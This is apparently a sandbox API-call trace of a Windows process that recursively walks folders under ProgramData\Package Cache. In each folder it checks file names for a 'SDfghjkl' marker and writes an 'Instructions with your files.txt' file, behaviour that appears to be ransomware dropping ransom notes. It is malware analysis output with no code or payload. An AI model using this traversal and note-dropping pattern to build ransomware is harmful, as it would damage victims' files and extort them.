[0126.354] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.354] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Instructions with your files.txt") returned 115
[0126.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.362] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.363] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.363] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.363] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.363] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.363] CloseHandle (hObject=0x10c) returned 1
[0126.363] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.363] GetProcessHeap () returned 0x810000
[0126.363] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.363] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
[0126.363] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71
[0126.363] GetProcessHeap () returned 0x810000
[0126.363] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.363] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned 73
[0126.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.364] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\.") returned 73
[0126.364] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.364] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\..") returned 74
[0126.364] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0126.364] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 81
[0126.364] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0126.364] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0126.364] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 88
[0126.364] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch="SDfghjkl") returned 0x0
[0126.364] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0126.364] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Instructions with your files.txt") returned 104
[0126.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.365] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.366] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.366] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.367] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.367] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.367] CloseHandle (hObject=0x10c) returned 1
[0126.367] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.367] GetProcessHeap () returned 0x810000
[0126.367] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.367] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
[0126.367] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82
[0126.367] GetProcessHeap () returned 0x810000
[0126.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.367] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned 84
[0126.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.368] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\.") returned 84
[0126.368] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.368] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\..") returned 85
[0126.368] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.368] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 91
[0126.368] GetProcessHeap () returned 0x810000
[0126.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.368] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned 93
[0126.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.369] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\.") returned 93
[0126.369] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.369] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\..") returned 94
[0126.369] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0126.369] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 117
[0126.369] GetProcessHeap () returned 0x810000
[0126.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.369] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned 119
[0126.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.369] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\.") returned 119
[0126.369] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.369] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\..") returned 120
[0126.369] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.369] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126
[0126.369] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.370] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.370] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146
[0126.370] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0126.370] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.370] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 150
[0126.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.371] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.372] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.372] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.373] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.373] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.373] CloseHandle (hObject=0x114) returned 1
[0126.373] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.373] GetProcessHeap () returned 0x810000
[0126.373] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.373] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0126.373] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Instructions with your files.txt") returned 124
[0126.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.373] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.374] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.374] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.374] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.374] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.374] CloseHandle (hObject=0x110) returned 1
[0126.375] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
